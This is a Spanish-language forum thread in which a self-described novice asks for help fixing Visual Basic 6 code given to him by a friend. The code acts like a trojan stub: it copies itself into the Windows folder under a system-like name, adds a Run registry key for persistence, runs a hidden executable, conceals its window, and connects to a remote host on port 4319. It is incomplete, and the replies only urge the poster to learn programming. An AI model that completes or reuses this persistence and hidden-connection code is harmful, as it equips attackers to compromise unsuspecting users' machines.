Hola a todos bueno tengo este problema he modificado esta parte del código por lo que alguna parte de esta está mal, si alguien me puediera ayudar, Gracias
Private Sub Form_Load()
On Error Resume Next
If Dir(Environ("Windir") & "\winsetup32.exe") = vbNullString Then
FileCopy App.path & "\" & App.EXEName & ".exe", Environ("Windir") & "\winsetup32.exe"
qazwsx = Environ("Windir") & "\asd.exe"
edcrfv = App.Title
zxccxz = edccde(HKEY_LOCAL_MACHINE, _
RAMA_RUN_WINDOWS, _
edcrfv, _
qazwsx, REG_SZ)
End
End If
Dim ppplooo As String
ppplooo = Environ("Windir") & "\asd.exe"
If InStr(LCase$(IsWay("asd.exe")), LCase$(ppplooo)) > 0 Then
MsgBox "Corre"
End
Else
Shell Environ("Windir") & "\asd.exe", vbHide
MsgBox "asd"
End If
App.TaskVisible = False
Me.Visible = False
App.Title = ""
Me.Caption = ""
With Winsock1
.Close
.Connect "asd.asd.com", 4319
End With
End Sub
No se nada de programación, un amigo me dijo que introdujera eso pero en verdad no logro conseguirlo
.
No te dire que uses option explicit, ni que intentes, bueno nada, solo si gustas sigue leyendo:
Según veo y con ese trozo de código te falta el proceso "edccde", de igual manera dinos que error te salta, y de paso lee algo básico sobre programación ( POO, programación modular, programación genérica aun que este ultimo se trabaja mucho en vb6 que digamos ), ya que lo único que deberás esperar de la ignorancia sobre el tema es que te lleguen a hablar con tecnicismos.
En conclusión o aprendes algo básico para así TRATAR de arreglar un problema X o contratas a alguien que sepa o le pides todo completo a tu amigo.
Nota: Tu problema no es el código es la ignorancia hacia una campo, como lo es mi ignorancia hacia otros campos como la Química por ejemplo.
Nos vemos seguiré viendo mi película xP.
Dulces Lunas!¡.
Cita de: .:UND3R:. en 15 Junio 2011, 08:13 AM
No se nada de programación, un amigo me dijo que introdujera eso pero en verdad no logro conseguirlo
Cita de: seba123neo
Un periodista le preguntó a Einstein:
- "¿Me puede Ud. Explicar la Ley de la Relatividad?"
Y Einstein le contestó:
- "¿Me puede Ud. Explicar cómo se fríe un huevo?"
El periodista lo miró extrañado y le contesta:
- "Pues, sí, sí que puedo".
A lo cual Einstein replicó:
- "Bueno, pues hágalo, pero imaginando que yo no sé lo que es un huevo, ni una sartén, ni el aceite, ni el fuego".
(Era la firma de seba123neo)
Ese es tu problema, no sabes programar, y quieres hacer algo que implica ser algo mas que principiante en programación :P, ese código es un "mix" de otros códigos, que al parecer falta mas para continuarlo :P
Pregúntale al que lo programo, para que sirve y porque le puso esos nombres ofuscados, o leete un tutorial de programación :)
HOLA!!!
Para aprender CLICKEAME (http://elguille.info/vb/cursos_vb/basico/indice.htm)
GRACIAS POR LEER!!!
Bueno estoy estudiando otras cosas a lo que concierne a informática a la que le dedico casi todo el día, por lo que por eso acudí a ustedes, una ayuda más que todo, gracias por el dato black-zero
creo que lo demás comentarios están demás
Muchas gracias